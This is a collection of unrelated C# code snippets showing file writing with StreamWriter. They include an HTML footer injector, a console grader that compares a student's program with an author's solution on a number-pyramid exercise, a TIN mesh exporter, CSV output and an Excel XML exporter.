                    sw.Write(color);
                    color++;
                }
            }
            sw.WriteLine();
            //Console.ReadLine();
            sw.Close();
            sr.Close();
        }
        private void AddFooterToOneHtmlFile
        (
            string _sPathToInputFile,
            string _sPathToOutputFile,
            string _sFileNameInAndOut,
            string _sFooter
        )
        {
            SysIo.FileStream             fstreamRead, fstreamWrite;
            SysIo.StreamReader           streamRead  = null;
            SysIo.StreamWriter           streamWrite = null;
            SysSecuPerm.FileIOPermission fileIoPerm;
            string sWholeFileContents, sWholeFilePlusFooter;

            //

            try
            {
                fileIoPerm = new SysSecuPerm.FileIOPermission(SysSecuPerm.PermissionState.Unrestricted);
                fileIoPerm.Assert();

                fstreamRead = new SysIo.FileStream
                              (
                    _sPathToInputFile + _sFileNameInAndOut,
                    SysIo.FileMode.Open,
                    SysIo.FileAccess.Read,
                    SysIo.FileShare.Read
                              );

                streamRead         = new SysIo.StreamReader(fstreamRead);
                sWholeFileContents = streamRead.ReadToEnd();
                streamRead.Close();

                sWholeFilePlusFooter = sWholeFileContents.Replace
                                           (@"</body>", _sFooter + @"</body>");

                fstreamWrite = new SysIo.FileStream
                               (
                    _sPathToOutputFile + _sFileNameInAndOut,
                    SysIo.FileMode.Create,
                    SysIo.FileAccess.Write,
                    SysIo.FileShare.None
                               );

                streamWrite = new SysIo.StreamWriter(fstreamWrite);
                streamWrite.Write(sWholeFilePlusFooter);
                streamWrite.Flush();
                streamWrite.Close();
            }
            finally
            {
                if (null != streamRead)
                {
                    streamRead.Dispose();
                }
                if (null != streamWrite)
                {
                    streamWrite.Dispose();
                }

                SysSecuPerm.FileIOPermission.RevertAssert();
                fileIoPerm = null;
            }

            return;
        }
        static void Main()
        {
            try
            {
                double  score    = 0;
                Process solution = new Process();

                solution.StartInfo.UseShellExecute        = false;
                solution.StartInfo.RedirectStandardInput  = true;
                solution.StartInfo.RedirectStandardOutput = true;

                solution.StartInfo.FileName       = "Solution.exe";
                solution.StartInfo.CreateNoWindow = true;
                solution.Start();


                System.IO.StreamWriter solutionWR = solution.StandardInput;
                System.IO.StreamReader solutionRR = solution.StandardOutput;


                Process authorSolution = new Process();

                authorSolution.StartInfo.UseShellExecute        = false;
                authorSolution.StartInfo.RedirectStandardInput  = true;
                authorSolution.StartInfo.RedirectStandardOutput = true;

                authorSolution.StartInfo.FileName       = "AuthorSolution.exe";
                authorSolution.StartInfo.CreateNoWindow = true;
                authorSolution.Start();


                System.IO.StreamWriter authorSolutionWR = authorSolution.StandardInput;
                System.IO.StreamReader authorSolutionRR = authorSolution.StandardOutput;



                solutionWR.Write("7" + "\n");
                authorSolutionWR.Write("7" + "\n");

                string solutionRR2 = solutionRR.ReadToEnd();

                string authorSolutionRR2 = authorSolutionRR.ReadToEnd();

                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("Test #1");
                if (solutionRR2 == authorSolutionRR2)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write(" Correct answer!");
                    score += 12.5;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.Write(" Incorrect answer!");
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("EXPECTED OUTPUT");
                    Console.WriteLine(authorSolutionRR2);
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("YOUR OUTPUT");
                    Console.Write(solutionRR2);
                }

                Console.WriteLine();

                solution.WaitForExit();
                solution.Close();
                authorSolution.WaitForExit();
                authorSolution.Close();

                Process solution2 = new Process();

                solution2.StartInfo.UseShellExecute        = false;
                solution2.StartInfo.RedirectStandardInput  = true;
                solution2.StartInfo.RedirectStandardOutput = true;

                solution2.StartInfo.FileName       = "Solution.exe";
                solution2.StartInfo.CreateNoWindow = true;
                solution2.Start();


                System.IO.StreamWriter solutionWR2  = solution2.StandardInput;
                System.IO.StreamReader solutionRR22 = solution2.StandardOutput;


                Process authorSolution2 = new Process();

                authorSolution2.StartInfo.UseShellExecute        = false;
                authorSolution2.StartInfo.RedirectStandardInput  = true;
                authorSolution2.StartInfo.RedirectStandardOutput = true;

                authorSolution2.StartInfo.FileName       = "AuthorSolution.exe";
                authorSolution2.StartInfo.CreateNoWindow = true;
                authorSolution2.Start();


                System.IO.StreamWriter authorSolutionWR2  = authorSolution2.StandardInput;
                System.IO.StreamReader authorSolutionRR22 = authorSolution2.StandardOutput;



                solutionWR2.Write("10" + "\n");
                authorSolutionWR2.Write("10" + "\n");

                string solutionRR222 = solutionRR22.ReadToEnd();

                string authorSolutionRR222 = authorSolutionRR22.ReadToEnd();

                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("Test #2");
                if (solutionRR222 == authorSolutionRR222)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write(" Correct answer!");
                    score += 12.5;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.Write(" Incorrect answer!");
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("EXPECTED OUTPUT");
                    Console.WriteLine(authorSolutionRR222);
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("YOUR OUTPUT");
                    Console.Write(solutionRR222);
                }

                Console.WriteLine();

                solution2.WaitForExit();
                solution2.Close();
                authorSolution2.WaitForExit();
                authorSolution2.Close();

                Process solution3 = new Process();

                solution3.StartInfo.UseShellExecute        = false;
                solution3.StartInfo.RedirectStandardInput  = true;
                solution3.StartInfo.RedirectStandardOutput = true;

                solution3.StartInfo.FileName       = "Solution.exe";
                solution3.StartInfo.CreateNoWindow = true;
                solution3.Start();


                System.IO.StreamWriter solutionWR3  = solution3.StandardInput;
                System.IO.StreamReader solutionRR33 = solution3.StandardOutput;


                Process authorSolution3 = new Process();

                authorSolution3.StartInfo.UseShellExecute        = false;
                authorSolution3.StartInfo.RedirectStandardInput  = true;
                authorSolution3.StartInfo.RedirectStandardOutput = true;

                authorSolution3.StartInfo.FileName       = "AuthorSolution.exe";
                authorSolution3.StartInfo.CreateNoWindow = true;
                authorSolution3.Start();


                System.IO.StreamWriter authorSolutionWR3  = authorSolution3.StandardInput;
                System.IO.StreamReader authorSolutionRR33 = authorSolution3.StandardOutput;



                solutionWR3.Write("12" + "\n");
                authorSolutionWR3.Write("12" + "\n");

                string solutionRR333 = solutionRR33.ReadToEnd();

                string authorSolutionRR333 = authorSolutionRR33.ReadToEnd();

                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("Test #3");
                if (solutionRR333 == authorSolutionRR333)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write(" Correct answer!");
                    score += 12.5;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.Write(" Incorrect answer!");
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("EXPECTED OUTPUT");
                    Console.WriteLine(authorSolutionRR333);
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("YOUR OUTPUT");
                    Console.Write(solutionRR333);
                }

                Console.WriteLine();

                solution3.WaitForExit();
                solution3.Close();
                authorSolution3.WaitForExit();
                authorSolution3.Close();

                Process solution4 = new Process();

                solution4.StartInfo.UseShellExecute        = false;
                solution4.StartInfo.RedirectStandardInput  = true;
                solution4.StartInfo.RedirectStandardOutput = true;

                solution4.StartInfo.FileName       = "Solution.exe";
                solution4.StartInfo.CreateNoWindow = true;
                solution4.Start();


                System.IO.StreamWriter solutionWR4  = solution4.StandardInput;
                System.IO.StreamReader solutionRR44 = solution4.StandardOutput;


                Process authorSolution4 = new Process();

                authorSolution4.StartInfo.UseShellExecute        = false;
                authorSolution4.StartInfo.RedirectStandardInput  = true;
                authorSolution4.StartInfo.RedirectStandardOutput = true;

                authorSolution4.StartInfo.FileName       = "AuthorSolution.exe";
                authorSolution4.StartInfo.CreateNoWindow = true;
                authorSolution4.Start();


                System.IO.StreamWriter authorSolutionWR4  = authorSolution4.StandardInput;
                System.IO.StreamReader authorSolutionRR44 = authorSolution4.StandardOutput;



                solutionWR4.Write("15" + "\n");
                authorSolutionWR4.Write("15" + "\n");

                string solutionRR444 = solutionRR44.ReadToEnd();

                string authorSolutionRR444 = authorSolutionRR44.ReadToEnd();

                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("Test #4");
                if (solutionRR444 == authorSolutionRR444)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write(" Correct answer!");
                    score += 12.5;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.Write(" Incorrect answer!");
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("EXPECTED OUTPUT");
                    Console.WriteLine(authorSolutionRR444);
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("YOUR OUTPUT");
                    Console.Write(solutionRR444);
                }

                Console.WriteLine();

                solution4.WaitForExit();
                solution4.Close();
                authorSolution4.WaitForExit();
                authorSolution4.Close();

                Process solution5 = new Process();

                solution5.StartInfo.UseShellExecute        = false;
                solution5.StartInfo.RedirectStandardInput  = true;
                solution5.StartInfo.RedirectStandardOutput = true;

                solution5.StartInfo.FileName       = "Solution.exe";
                solution5.StartInfo.CreateNoWindow = true;
                solution5.Start();


                System.IO.StreamWriter solutionWR5  = solution5.StandardInput;
                System.IO.StreamReader solutionRR55 = solution5.StandardOutput;


                Process authorSolution5 = new Process();

                authorSolution5.StartInfo.UseShellExecute        = false;
                authorSolution5.StartInfo.RedirectStandardInput  = true;
                authorSolution5.StartInfo.RedirectStandardOutput = true;

                authorSolution5.StartInfo.FileName       = "AuthorSolution.exe";
                authorSolution5.StartInfo.CreateNoWindow = true;
                authorSolution5.Start();


                System.IO.StreamWriter authorSolutionWR5  = authorSolution5.StandardInput;
                System.IO.StreamReader authorSolutionRR55 = authorSolution5.StandardOutput;



                solutionWR5.Write("1" + "\n");
                authorSolutionWR5.Write("1" + "\n");

                string solutionRR555 = solutionRR55.ReadToEnd();

                string authorSolutionRR555 = authorSolutionRR55.ReadToEnd();

                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("Test #5");
                if (solutionRR555 == authorSolutionRR555)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write(" Correct answer!");
                    score += 12.5;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.Write(" Incorrect answer!");
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("EXPECTED OUTPUT");
                    Console.WriteLine(authorSolutionRR555);
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("YOUR OUTPUT");
                    Console.Write(solutionRR555);
                }

                Console.WriteLine();

                solution5.WaitForExit();
                solution5.Close();
                authorSolution5.WaitForExit();
                authorSolution5.Close();

                Process solution6 = new Process();

                solution6.StartInfo.UseShellExecute        = false;
                solution6.StartInfo.RedirectStandardInput  = true;
                solution6.StartInfo.RedirectStandardOutput = true;

                solution6.StartInfo.FileName       = "Solution.exe";
                solution6.StartInfo.CreateNoWindow = true;
                solution6.Start();


                System.IO.StreamWriter solutionWR6  = solution6.StandardInput;
                System.IO.StreamReader solutionRR66 = solution6.StandardOutput;


                Process authorSolution6 = new Process();

                authorSolution6.StartInfo.UseShellExecute        = false;
                authorSolution6.StartInfo.RedirectStandardInput  = true;
                authorSolution6.StartInfo.RedirectStandardOutput = true;

                authorSolution6.StartInfo.FileName       = "AuthorSolution.exe";
                authorSolution6.StartInfo.CreateNoWindow = true;
                authorSolution6.Start();


                System.IO.StreamWriter authorSolutionWR6  = authorSolution6.StandardInput;
                System.IO.StreamReader authorSolutionRR66 = authorSolution6.StandardOutput;



                solutionWR6.Write("2" + "\n");
                authorSolutionWR6.Write("2" + "\n");

                string solutionRR666 = solutionRR66.ReadToEnd();

                string authorSolutionRR666 = authorSolutionRR66.ReadToEnd();

                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("Test #6");
                if (solutionRR666 == authorSolutionRR666)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write(" Correct answer!");
                    score += 12.5;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.Write(" Incorrect answer!");
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("EXPECTED OUTPUT");
                    Console.WriteLine(authorSolutionRR666);
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("YOUR OUTPUT");
                    Console.Write(solutionRR666);
                }

                Console.WriteLine();

                solution6.WaitForExit();
                solution6.Close();
                authorSolution6.WaitForExit();
                authorSolution6.Close();

                Process solution7 = new Process();

                solution7.StartInfo.UseShellExecute        = false;
                solution7.StartInfo.RedirectStandardInput  = true;
                solution7.StartInfo.RedirectStandardOutput = true;

                solution7.StartInfo.FileName       = "Solution.exe";
                solution7.StartInfo.CreateNoWindow = true;
                solution7.Start();


                System.IO.StreamWriter solutionWR7  = solution7.StandardInput;
                System.IO.StreamReader solutionRR77 = solution7.StandardOutput;


                Process authorSolution7 = new Process();

                authorSolution7.StartInfo.UseShellExecute        = false;
                authorSolution7.StartInfo.RedirectStandardInput  = true;
                authorSolution7.StartInfo.RedirectStandardOutput = true;

                authorSolution7.StartInfo.FileName       = "AuthorSolution.exe";
                authorSolution7.StartInfo.CreateNoWindow = true;
                authorSolution7.Start();


                System.IO.StreamWriter authorSolutionWR7  = authorSolution7.StandardInput;
                System.IO.StreamReader authorSolutionRR77 = authorSolution7.StandardOutput;



                solutionWR7.Write("3" + "\n");
                authorSolutionWR7.Write("3" + "\n");

                string solutionRR777 = solutionRR77.ReadToEnd();

                string authorSolutionRR777 = authorSolutionRR77.ReadToEnd();

                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("Test #7");
                if (solutionRR777 == authorSolutionRR777)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write(" Correct answer!");
                    score += 12.5;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.Write(" Incorrect answer!");
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("EXPECTED OUTPUT");
                    Console.WriteLine(authorSolutionRR777);
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("YOUR OUTPUT");
                    Console.Write(solutionRR777);
                }

                Console.WriteLine();

                solution7.WaitForExit();
                solution7.Close();
                authorSolution7.WaitForExit();
                authorSolution7.Close();

                Process solution8 = new Process();

                solution8.StartInfo.UseShellExecute        = false;
                solution8.StartInfo.RedirectStandardInput  = true;
                solution8.StartInfo.RedirectStandardOutput = true;

                solution8.StartInfo.FileName       = "Solution.exe";
                solution8.StartInfo.CreateNoWindow = true;
                solution8.Start();


                System.IO.StreamWriter solutionWR8  = solution8.StandardInput;
                System.IO.StreamReader solutionRR88 = solution8.StandardOutput;


                Process authorSolution8 = new Process();

                authorSolution8.StartInfo.UseShellExecute        = false;
                authorSolution8.StartInfo.RedirectStandardInput  = true;
                authorSolution8.StartInfo.RedirectStandardOutput = true;

                authorSolution8.StartInfo.FileName       = "AuthorSolution.exe";
                authorSolution8.StartInfo.CreateNoWindow = true;
                authorSolution8.Start();


                System.IO.StreamWriter authorSolutionWR8  = authorSolution8.StandardInput;
                System.IO.StreamReader authorSolutionRR88 = authorSolution8.StandardOutput;



                solutionWR8.Write("50" + "\n");
                authorSolutionWR8.Write("50" + "\n");

                string solutionRR888 = solutionRR88.ReadToEnd();

                string authorSolutionRR888 = authorSolutionRR88.ReadToEnd();

                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("Test #8");
                if (solutionRR888 == authorSolutionRR888)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write(" Correct answer!");
                    score += 12.5;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.Write(" Incorrect answer!");
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("EXPECTED OUTPUT");
                    Console.WriteLine(authorSolutionRR888);
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("YOUR OUTPUT");
                    Console.Write(solutionRR888);
                }

                Console.WriteLine();

                solution8.WaitForExit();
                solution8.Close();
                authorSolution8.WaitForExit();
                authorSolution8.Close();

                Console.ForegroundColor = ConsoleColor.White;
                Console.WriteLine();
                Console.WriteLine();
                Console.ForegroundColor = ConsoleColor.Blue;
                score = Math.Round(score, 0);
                Console.WriteLine("You achieved " + score + "% !");
                Console.ReadLine();
            }

            catch (Exception)
            {
                Console.ForegroundColor = ConsoleColor.Blue;
                Console.WriteLine("Follow the instructions :");
                Console.ForegroundColor = ConsoleColor.White;

                Console.Write(" 1.Move your file to ");
                Console.ForegroundColor = ConsoleColor.Green;
                Console.Write("'Number Pyramid' ");
                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("folder !");
                Console.WriteLine();
                Console.Write(" 2.Rename your file to ");
                Console.ForegroundColor = ConsoleColor.Green;
                Console.Write("'Solution' ");
                Console.ForegroundColor = ConsoleColor.White;
                Console.Write("!");
                Console.WriteLine();
                Console.Write(" 3.Start ");
                Console.ForegroundColor = ConsoleColor.Green;
                Console.Write("CheckSolution.exe");
                Console.ForegroundColor = ConsoleColor.White;
                Console.Write(" again !");
                Console.WriteLine();
                Console.ReadLine();
            }
        }
Exemple #44
0
        private void but_run_Click(object sender, EventArgs e)
        {
            if (txtFile == "" && demFile == "" && domFile == "" && yuzhi == null)
            {
                MessageBox.Show("请指定必要数据!");
                return;
            }
            using (System.IO.StreamWriter log = new System.IO.StreamWriter("a", false))
            {
                log.WriteLine(domFile);
                log.WriteLine(demFile);
                log.WriteLine(txtFile);
                log.WriteLine(yuzhi);
                log.Close();
            }
            string outMap = txtFile.Substring(0, txtFile.LastIndexOf(".")) + "_map.tif";

            if (File.Exists(outMap))
            {
                File.Delete(outMap);
            }
            //get三角形
            GetPointGroup afeat = new GetPointGroup(txtFile, demFile, yuzhi, domFile, outMap);

            points.pointList.AddRange(afeat.mapP);
            Construction_TIN delaunay = new Construction_TIN(this.points);

            triangles = delaunay.Triangle_const();
            // delaunay.getUsefulTriangles(afeat.geom);
            //输出脚本
            string outPath = txtFile.Substring(0, txtFile.LastIndexOf(".")) + "_res.txt";

            if (File.Exists(outPath))
            {
                File.Delete(outPath);
            }

            //输出所有点坐标
            //StreamWriter第二个参数为false覆盖现有文件,为true则把文本追加到文件末尾

            using (System.IO.StreamWriter file = new System.IO.StreamWriter(outPath, true))
            {
                string vertices = "mesh vertices:#(";
                file.Write(vertices);
                for (int i = 0; i < afeat.mapP.Count; i++)
                {
                    string x    = afeat.mapP[i].X.ToString();
                    string y    = afeat.mapP[i].Y.ToString();
                    string z    = afeat.mapP[i].Z.ToString();
                    string coor = x + "," + y + "," + z;
                    vertices = "[" + coor + "],";
                    if (i == (afeat.mapP.Count - 1))
                    {
                        vertices = "[" + coor + "]) ";
                    }
                    file.Write(vertices);
                }
                string faces = "faces:#(";
                file.Write(faces);
                for (int i = 0; i < triangles.Count; i++)
                {
                    string a   = triangles[i].A.ids.ToString();
                    string b   = triangles[i].B.ids.ToString();
                    string c   = triangles[i].C.ids.ToString();
                    string ids = c + "," + b + "," + a;
                    faces = "[" + ids + "],";
                    if (i == (triangles.Count - 1))
                    {
                        faces = "[" + ids + "]) isSelected:on";
                    }
                    file.Write(faces);
                }

                file.Close();
            }
            MessageBox.Show("OK");
        }
Exemple #45
0
        public static void GenerateDateToTxt(string ccScoreFileName, DateTime nowDate, double[, ,] nowScores, long[, ,] ndas, long[, ,] ndss)
        {
            int n = 1;

            using (StreamWriter sw = new System.IO.StreamWriter(ccScoreFileName, true))
            {
                sw.Write(string.Format("{0},B_0_0,0,0,0,0, ", nowDate.ToString(Parameters.DateTimeFormat)));

                for (int k = 0; k < 2; ++k)
                {
                    for (int i = 0; i < TestParameters2.tpCount; ++i)
                    {
                        for (int j = 0; j < TestParameters2.slCount; ++j)
                        {
                            WekaUtils.DebugAssert(nowScores[k, i * n, j * n] != -1, "nowScores[k, i * n, j * n] != -1");

                            sw.Write(nowScores[k, i * n, j * n].ToString());
                            if (j != TestParameters2.slCount - 1)
                            {
                                sw.Write(",");
                            }
                        }
                        sw.Write(",");
                    }
                    sw.Write(",");
                }

                for (int k = 0; k < 2; ++k)
                {
                    for (int i = 0; i < TestParameters2.tpCount; ++i)
                    {
                        for (int j = 0; j < TestParameters2.slCount; ++j)
                        {
                            sw.Write(ndas[k, i * n, j * n].ToString());
                            if (j != TestParameters2.slCount - 1)
                            {
                                sw.Write(",");
                            }
                        }
                        sw.Write(",");
                    }
                    sw.Write(",");
                }

                for (int k = 0; k < 2; ++k)
                {
                    for (int i = 0; i < TestParameters2.tpCount; ++i)
                    {
                        for (int j = 0; j < TestParameters2.slCount; ++j)
                        {
                            sw.Write(ndss[k, i * n, j * n].ToString());
                            if (j != TestParameters2.slCount - 1)
                            {
                                sw.Write(",");
                            }
                        }
                        sw.Write(",");
                    }
                    sw.Write(",");
                }
                sw.WriteLine();
            }
        }
Exemple #46
0
        public void Export(System.Data.DataView source, string fileName, string sheetName, ArrayList columnsProperties)

        {
            this._columnsProperties = columnsProperties;
            System.IO.StreamWriter excelDoc;
            excelDoc = new System.IO.StreamWriter(fileName);
            const string startExcelXML = "<xml version>\r\n<Workbook " +
                                         "xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\r\n" +
                                         " xmlns:o=\"urn:schemas-microsoft-com:office:office\"\r\n " +
                                         "xmlns:x=\"urn:schemas-    microsoft-com:office:" +
                                         "excel\"\r\n xmlns:ss=\"urn:schemas-microsoft-com:" +
                                         "office:spreadsheet\">\r\n <Styles>\r\n " +
                                         "<Style ss:ID=\"Default\" ss:Name=\"Normal\">\r\n " +
                                         "<Alignment ss:Vertical=\"Bottom\"/>\r\n <Borders/>" +
                                         "\r\n <Font/>\r\n <Interior/>\r\n <NumberFormat/>" +
                                         "\r\n <Protection/>\r\n </Style>\r\n " +
                                         "<Style ss:ID=\"BoldColumn\">\r\n <Font " +
                                         "x:Family=\"Swiss\" ss:Bold=\"1\"/>\r\n </Style>\r\n " +
                                         "<Style     ss:ID=\"StringLiteral\">\r\n <NumberFormat" +
                                         " ss:Format=\"@\"/>\r\n </Style>\r\n <Style " +
                                         "ss:ID=\"Decimal\">\r\n <NumberFormat " +
                                         "ss:Format=\"0.0000\"/>\r\n </Style>\r\n " +
                                         "<Style ss:ID=\"Integer\">\r\n <NumberFormat " +
                                         "ss:Format=\"0\"/>\r\n </Style>\r\n <Style " +
                                         "ss:ID=\"DateLiteral\">\r\n <NumberFormat " +
                                         "ss:Format=\"mm/dd/yyyy;@\"/>\r\n </Style>\r\n " +
                                         "</Styles>\r\n ";
            const string endExcelXML = "</Workbook>";

            int rowCount   = 0;
            int sheetCount = 1;

            /*
             *                                                                                                 <xml version>
             *                                                                                                 <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
             *                                                                                                 xmlns:o="urn:schemas-microsoft-com:office:office"
             *                                                                                                 xmlns:x="urn:schemas-microsoft-com:office:excel"
             *                                                                                                 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
             *                                                                                                 <Styles>
             *                                                                                                 <Style ss:ID="Default" ss:Name="Normal">
             *                                                                                                       <Alignment ss:Vertical="Bottom"/>
             *                                                                                                       <Borders/>
             *                                                                                                       <Font/>
             *                                                                                                       <Interior/>
             *                                                                                                       <NumberFormat/>
             *                                                                                                       <Protection/>
             *                                                                                                 </Style>
             *                                                                                                 <Style ss:ID="BoldColumn">
             *                                                                                                       <Font x:Family="Swiss" ss:Bold="1"/>
             *                                                                                                 </Style>
             *                                                                                                 <Style ss:ID="StringLiteral">
             *                                                                                                       <NumberFormat ss:Format="@"/>
             *                                                                                                 </Style>
             *                                                                                                 <Style ss:ID="Decimal">
             *                                                                                                       <NumberFormat ss:Format="0.0000"/>
             *                                                                                                 </Style>
             *                                                                                                 <Style ss:ID="Integer">
             *                                                                                                       <NumberFormat ss:Format="0"/>
             *                                                                                                 </Style>
             *                                                                                                 <Style ss:ID="DateLiteral">
             *                                                                                                       <NumberFormat ss:Format="mm/dd/yyyy;@"/>
             *                                                                                                 </Style>
             *                                                                                                 </Styles>
             *                                                                                                 <Worksheet ss:Name="Sheet1">
             *                                                                                                 </Worksheet>
             *                                                                                                 </Workbook>
             */
            excelDoc.Write(startExcelXML);
            excelDoc.Write("<Worksheet ss:Name=\"Sheet" + sheetCount + "\">");
            excelDoc.Write("<Table>");
            excelDoc.Write("<Row>");
            ArrayList aux = new ArrayList();

            foreach (PropertiesColumn pc in this._columnsProperties)
            {
                if (pc.Visible)
                {
                    aux.Add(pc);
                    excelDoc.Write("<Cell ss:StyleID=\"BoldColumn\"><Data ss:Type=\"String\">");
                    excelDoc.Write(pc.ColumnCaption);
                    excelDoc.Write("</Data></Cell>");
                }
            }
            excelDoc.Write("</Row>");
            foreach (DataRowView x in source)
            {
                rowCount++;
                //if the number of rows is > 64000 create a new page to continue output
                if (rowCount == 64000)
                {
                    rowCount = 0;
                    sheetCount++;
                    excelDoc.Write("</Table>");
                    excelDoc.Write(" </Worksheet>");
                    excelDoc.Write("<Worksheet ss:Name=\"Sheet" + sheetCount + "\">");
                    excelDoc.Write("<Table>");
                }
                excelDoc.Write("<Row>");                 //ID=" + rowCount + "
                foreach (PropertiesColumn pc in aux)
                {
                    if (source.Table.Columns.Contains(pc.ColumnName))
                    {
                        System.Type rowType = x.Row[pc.ColumnName].GetType();
                        switch (rowType.ToString())
                        {
                        case "System.String":
                            string XMLstring = x.Row[pc.ColumnName].ToString();
                            XMLstring = XMLstring.Trim();
                            XMLstring = XMLstring.Replace("&", "");
                            XMLstring = XMLstring.Replace(">", ")");
                            XMLstring = XMLstring.Replace("<", "(");
                            excelDoc.Write("<Cell ss:StyleID=\"StringLiteral\">" +
                                           "<Data ss:Type=\"String\">");
                            excelDoc.Write(XMLstring);
                            excelDoc.Write("</Data></Cell>");
                            break;

                        case "System.DateTime":
                            //Excel has a specific Date Format of YYYY-MM-DD followed by
                            //the letter 'T' then hh:mm:sss.lll Example 2005-01-31T24:01:21.000
                            //The Following Code puts the date stored in XMLDate
                            //to the format above
                            DateTime XMLDate         = (DateTime)x.Row[pc.ColumnName];
                            string   XMLDatetoString = "";                                   //Excel Converted Date
                            XMLDatetoString = XMLDate.Year.ToString() +
                                              "-" + (XMLDate.Month < 10 ? "0" + XMLDate.Month.ToString() : XMLDate.Month.ToString()) +
                                              "-" + (XMLDate.Day < 10 ? "0" + XMLDate.Day.ToString() : XMLDate.Day.ToString()) +
                                              "T" + (XMLDate.Hour < 10 ? "0" + XMLDate.Hour.ToString() : XMLDate.Hour.ToString()) +
                                              ":" + (XMLDate.Minute < 10 ? "0" + XMLDate.Minute.ToString() : XMLDate.Minute.ToString()) + ":" +
                                              (XMLDate.Second < 10 ? "0" + XMLDate.Second.ToString() : XMLDate.Second.ToString()) + ".000";
                            excelDoc.Write("<Cell ss:StyleID=\"DateLiteral\">" + "<Data ss:Type=\"DateTime\">");
                            excelDoc.Write(XMLDatetoString);
                            excelDoc.Write("</Data></Cell>");
                            break;

                        case "System.Boolean":
                            excelDoc.Write("<Cell ss:StyleID=\"StringLiteral\">" +
                                           "<Data ss:Type=\"String\">");
                            excelDoc.Write(x.Row[pc.ColumnName].ToString());
                            excelDoc.Write("</Data></Cell>");
                            break;

                        case "System.Int16":
                        case "System.Int32":
                        case "System.Int64":
                        case "System.Byte":
                            excelDoc.Write("<Cell ss:StyleID=\"Integer\">" +
                                           "<Data ss:Type=\"Number\">");
                            excelDoc.Write(x.Row[pc.ColumnName].ToString());
                            excelDoc.Write("</Data></Cell>");
                            break;

                        case "System.Decimal":
                        case "System.Double":
                            excelDoc.Write("<Cell ss:StyleID=\"Decimal\">" +
                                           "<Data ss:Type=\"Number\">");
                            excelDoc.Write(x.Row[pc.ColumnName].ToString());
                            excelDoc.Write("</Data></Cell>");
                            break;

                        case "System.DBNull":
                            excelDoc.Write("<Cell ss:StyleID=\"StringLiteral\">" +
                                           "<Data ss:Type=\"String\">");
                            excelDoc.Write("");
                            excelDoc.Write("</Data></Cell>");
                            break;

                        default:
                            throw(new Exception(rowType.ToString() + " not handled."));
                        }
                    }
                    else
                    {
                        excelDoc.Write("<Cell ss:StyleID=\"StringLiteral\">" +
                                       "<Data ss:Type=\"String\">");
                        excelDoc.Write("");
                        excelDoc.Write("</Data></Cell>");
                    }
                }
                excelDoc.Write("</Row>");
            }
            excelDoc.Write("</Table>");
            excelDoc.Write(" </Worksheet>");
            excelDoc.Write(endExcelXML);
            excelDoc.Close();

            Excel.ApplicationClass EXL = new Excel.ApplicationClass();
            workbook = EXL.Workbooks.Open(fileName,
                                          0, false, 5, "", "", false, Excel.XlPlatform.xlWindows, "",
                                          true, false, 0, true, false, false);
            EXL.Visible = true;
            Worksheet worksheet = (Worksheet)EXL.ActiveSheet;

            worksheet.Activate();
        }
Exemple #47
0
        public int ExportMemUsage2CSV(string sFileCSV)
        {
            //pause data read thread (socksrv)?
            sql_cmd = new SQLiteCommand();
            sql_con = new SQLiteConnection();
            connectDB();
            if (sql_con.State != ConnectionState.Open)
            {
                sql_con.Close();
                sql_con.Open();
            }
            sql_cmd = sql_con.CreateCommand();
            int iCnt = 0;

